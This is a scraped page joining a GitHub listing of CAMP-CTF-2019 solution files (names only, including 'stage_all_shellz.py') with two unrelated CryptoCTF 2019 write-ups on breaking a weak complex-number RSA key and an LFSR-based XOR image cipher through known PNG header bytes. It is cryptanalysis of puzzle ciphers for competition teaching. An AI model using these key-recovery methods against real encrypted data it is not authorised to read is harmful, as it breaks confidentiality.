<div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Security Insights </details-menu></details></div></nav>
</div>
<turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " >
<div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div >
<div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":205657999,"originating_url":"https://github.com/OlfillasOdikno/CAMP-CTF-2019/tree/master/solutions/Enterprise%20(Nexantic)%20DevOps","user_id":null}}" data-hydro-click-hmac="a73b9ca34a62c8129a8bcf9e2a1b225100c047d749b61de413bb8546100c0a1e"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>master</span> <span></span> </summary>
<div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header>
<input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div>
<div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div>
<div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/OlfillasOdikno/CAMP-CTF-2019/refs" cache-key="v0:1567333932.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="T2xmaWxsYXNPZGlrbm8vQ0FNUC1DVEYtMjAxOQ==" prefetch-on-mouseover >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<footer class="SelectMenu-footer">View all branches</footer> </ref-selector>
</div>
<div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/OlfillasOdikno/CAMP-CTF-2019/refs" cache-key="v0:1567333932.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="T2xmaWxsYXNPZGlrbm8vQ0FNUC1DVEYtMjAxOQ==" >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div>
</details>
</div>
<div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div>
</div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div>
<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>CAMP-CTF-2019</span></span></span><span>/</span><span><span>solutions</span></span><span>/</span>Enterprise (Nexantic) DevOps<span>/</span> </div> </div>
<div class="d-flex"> Go to file </div> </div>
<div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>CAMP-CTF-2019</span></span></span><span>/</span><span><span>solutions</span></span><span>/</span>Enterprise (Nexantic) DevOps<span>/</span></div>
<div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/OlfillasOdikno/CAMP-CTF-2019/tree-commit/6429138d222e4417187eaacd2e0bdfc23337a9e4/solutions/Enterprise%20(Nexantic)%20DevOps" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2>
<include-fragment src="/OlfillasOdikno/CAMP-CTF-2019/file-list/master/solutions/Enterprise%20(Nexantic)%20DevOps"> Permalink
<div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information.
</div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div>
<div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>document.pdf</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>document2.pdf</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>pwn.mp4</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>stage1.py</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>stage3.py</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>stage_all_shellz.py</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> </div> </div>
</include-fragment>
</div>
</div>
</div>
</div>
</turbo-frame>
</main> </div>
</div>
<footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2>
<div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div>
<nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div>
<div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer>
<div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You can’t perform that action at this time. </div>
<div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template>
<div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div>
<template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template>
</div>
<div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
|
TLDR - We are given the KeyGen function, notice that one prime is much larger than the other, so factoring n is possible.
- Recover n by asking for the encryption of -1. Assume e is small and recover it by solving the dlog by enumeration. Factor n.
- Compute d (as usual) and decrypt using Square and Multiply adapted for the Complex numbers.
Read complete writeup: [https://sectt.github.io/writeups/CryptoCTF19/crypto_complexrsa/README](https://sectt.github.io/writeups/CryptoCTF19/crypto_complexrsa/README) |
# Fast Speedy!
> You can’t connect the dots looking forward; you can only connect them looking backwards. So you have to trust that the dots will somehow connect in your future.
## Challenge
This is basically a XOR cipher on a picture, with a unknown key and a known key generation function
## Cipher
```pythondef drift(R, B): n = len(B) ans, ini = R[-1], 0 for i in B: ini ^= R[i-1] R = [ini] + R[:-1] return ans, R```Notice that the order of `B` doesn't matter since XOR is commutative
```pythonr = random.randint(7, 128)s = random.randint(2, r)R = [random.randint(0, 1) for _ in xrange(r)]B = [i for i in xrange(s)]random.shuffle(B)```Here `random.shuffle(B)` doesn't matter as XOR is commutative. Here we get bounds for the size of `R` and `B`
```pythonfor i in range(len(flag)): ans, R = drift(R, B) A = A + [ans] enc = enc + [int(flag[i]) ^ ans]```Encryption basically takes the first output of `drift` and XORs it into the flag. Looking at drift, the first `r` outputs is basically `R[::-1]`, and we use this to bruteforce possible `R` and `B`
## Bruteforce
The first `16` characters of a PNG file is likely to be `0x89504e470d0a1a0a0000000d49484452`, so we simply take the first few bits, run drift on all possible values of `B` and check if it matches, else take more bits, this is done at [findR.py](findR.py).
Large `R` length may not be correct as it basically takes most of the known text to predict `R`, so we choose the smallest output
```r = 13b = 5R = [0, 1, 0, 1, 0, 1, 0, 0, 1, 1, 1, 1, 1]```
Since XOR is its own inverse, we simply rerun the script, but the encrypted file is used as input and output is the decrypted file. The decrypted file is a picture of the flag
> Flag : `CCTF{LFSR__In___51mPL3___w0rD5}` |
